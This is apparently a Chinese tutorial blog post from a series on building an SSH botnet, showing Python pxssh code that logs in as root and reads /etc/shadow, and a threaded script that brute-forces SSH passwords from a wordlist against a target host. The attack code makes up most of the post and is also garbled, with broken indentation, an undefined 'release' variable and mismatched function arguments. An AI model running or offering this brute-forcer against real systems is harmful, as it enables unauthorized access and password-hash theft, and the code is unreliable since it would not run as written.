【Python脚本进阶】2.2、构建一个SSH僵尸网络(中):用Pxssh暴力破解SSH密码

目录

一、Pxssh暴力破解SSH密码

1.1、函数:

1.2、使用Pxssh简化

1.3、函数:

1.4、自动化


一、Pxssh暴力破解SSH密码

1.1、函数:

prompt():是javascript语言中的一个方法,主要用处是显示提示对话框

pxssh模块用于在python中ssh远程连接,执行命令,返回结果,但注意不支持Windows系统

1.2、使用Pxssh简化

用Pxssh 进一步简化它,Pxssb 是一个包含了pexpect 库的专用脚本, 它能用预先写好的login()、logout()和prompt()等函数直接与SSH 进行交互。使用Pxssh可以将上个脚本简化成

import pxssh


def send_command(s, cmd):
    s.sendline(cmd)
    s.prompt()
    print(s.before)

def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        s.login( host, user, password )
        return s
    except:
        print('[-] Error Connecting')
        exit( 0 )
s = connect ('127.0.0.1', 'root', 'toor')
send_command(s, 'cat /etc/shadow | grep root')

1.3、函数:

BoundedSemaphore(n):同一时刻最多允许n个线程访问特定资源

global:全局的

release:释放

add_option 添加设置选项

acquire方法是Python锁类,Python中线程模块的Lock类的内置方法

Thread是程序中的执行线程

1.4、自动化

再做些修改就能使脚本自动执行暴力破解SSH口令的任务。除增加了一些参数解析代码来读取主机名、用户名和存有待尝试的密码的文件外, 只需对connect()函数稍做修改。


如果login()函数执行成功, 并且没有抛出异常, 将打印一个消息, 表明密码已被找到并把表示密码已被找到的全局布尔值设为true。否则, 将捕获该异常。如果异常显示密码被拒绝, 知道这个密码不对, 让函数返回即可。但是,如果异常显示socket 为“ read_nonblocking", 可能是SSH服务器被大量的连接刷爆了, 可以稍等片刻后用相同的密码再试一次。此外, 如果该异常显示pxssh 命令提示符提取困难, 也应等待一会儿, 然后让它再试一次。


在connect()函数的参数里有一个布尔量release。由于connect()可以递归地调用另一个connect(), 必须让只有不是由connect()递归调用的connect()函数才能够释放connection_lock 信号。

import pxssh
import optparse
import time


from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print('[+] Password Found: ' + password)
    Found = True
    except Exception as e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep( 5 )
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep( 1 )
            connect( host, user, password, False )
        finally:
        if release: connection_lock.release()

def main():
    parser = optparse.OptionParser( 'usage %prog ' + '-H <target host> -u <user> -F <password list>' )
    parser.add_option( '-H', dest= ' tgtHost', type='string', help=' specify target host')
    parser.add_option( '-F', dest= ' passwdFile', type='string', help='specify password file')
    parser.add_option( '-u', dest='user', type = 'string', help = 'specify the user')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.passwdFile
    user= options.user
    if host== None or passwdFile == None or user == None:
        print(parser.usage)
        exit(0)
    user = options.user
    fn = open( passwdFile,'r')
    user = options.user
    for line in fn.readlines():
    user = options.user
    if Found:
        print("[*] Exiting: Password Found")
        exit(0)
        if Fails > 5:
        print("[!] Exiting: Too Many Socket Timeouts")
        exit(0)
    connection_lock.acquire()
        password = line.strip('\r').strip('\n')
    print("[-] Testing: " + str(password))
        t = Thread(target=connect, args=(host, user, password, True))
        child = t.start()


if __name__ == '__main__':
    main()

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值